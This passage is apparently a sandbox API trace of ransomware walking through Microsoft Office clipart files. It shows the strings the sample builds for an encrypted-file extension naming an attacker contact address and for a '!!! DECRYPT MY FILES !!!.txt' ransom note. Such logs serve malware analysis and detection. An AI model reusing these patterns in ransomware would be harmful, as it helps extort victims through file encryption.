Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 1 [0133.691] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf") returned 0x44 [0133.691] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.691] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.691] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.691] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.691] GetProcessHeap () returned 0x630000 [0133.691] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x100) returned 0x66a3e0 [0133.691] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6906, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00141_.WMF", cAlternateFileName="")) returned 1 [0133.692] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 1 [0133.692] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf") returned 0x44 [0133.692] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.692] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.692] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.692] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.692] GetProcessHeap () returned 0x630000 [0133.692] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x104) returned 0x66a3e0 [0133.692] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7114, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00146_.WMF", cAlternateFileName="")) returned 1 [0133.692] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 1 [0133.692] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf") returned 0x44 [0133.692] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.692] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.692] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.693] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.693] GetProcessHeap () returned 0x630000 [0133.693] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x108) returned 0x66a3e0 [0133.693] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00155_.WMF", cAlternateFileName="")) returned 1 [0133.693] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 1 [0133.693] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf") returned 0x44 [0133.693] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.693] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.693] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.693] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.693] GetProcessHeap () returned 0x630000 [0133.693] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x10c) returned 0x66a3e0 [0133.693] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x57f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00160_.WMF", cAlternateFileName="")) returned 1 [0133.694] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 1 [0133.694] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf") returned 0x44 [0133.694] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.694] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.694] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.694] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.694] GetProcessHeap () returned 0x630000 [0133.694] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x110) returned 0x66a3e0 [0133.694] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f34, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00173_.WMF", cAlternateFileName="")) returned 1 [0133.694] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 1 [0133.694] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf") returned 0x44 [0133.694] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.694] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.695] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.695] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.695] GetProcessHeap () returned 0x630000 [0133.695] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x114) returned 0x66a3e0 [0133.695] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4354, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD05119_.WMF", cAlternateFileName="")) returned 1 [0133.695] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 1 [0133.695] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf") returned 0x44 [0133.695] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.695] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.695] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.695] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.695] GetProcessHeap () returned 0x630000 [0133.695] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x118) returned 0x66a3e0 [0133.695] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06102_.WMF", cAlternateFileName="")) returned 1 [0133.696] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 1 [0133.696] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf") returned 0x44 [0133.696] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.696] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.696] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.696] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.696] GetProcessHeap () returned 0x630000 [0133.696] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x11c) returned 0x66a3e0 [0133.696] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06200_.WMF", cAlternateFileName="")) returned 1 [0133.697] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 1 [0133.697] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf") returned 0x44 [0133.697] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.697] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.697] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.697] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.697] GetProcessHeap () returned 0x630000 [0133.697] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x120) returned 0x66a3e0 [0133.697] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x687c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07761_.WMF", cAlternateFileName="")) returned 1 [0133.697] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 1 [0133.697] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf") returned 0x44 [0133.697] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.697] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.698] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.698] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.698] GetProcessHeap () returned 0x630000 [0133.698] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x124) returned 0x66a3e0 [0133.698] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x133c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07804_.WMF", cAlternateFileName="")) returned 1 [0133.698] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 1 [0133.698] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf") returned 0x44 [0133.698] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.698] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.698] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.698] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.698] GetProcessHeap () returned 0x630000 [0133.698] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x128) returned 0x66a3e0 [0133.699] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07831_.WMF", cAlternateFileName="")) returned 1 [0133.699] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 1 [0133.699] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf") returned 0x44 [0133.699] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.699] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.699] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.699] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.699] GetProcessHeap () returned 0x630000 [0133.699] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x12c) returned 0x66a3e0 [0133.699] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08758_.WMF", cAlternateFileName="")) returned 1 [0133.699] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 1 [0133.699] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf") returned 0x44 [0133.699] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.700] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! 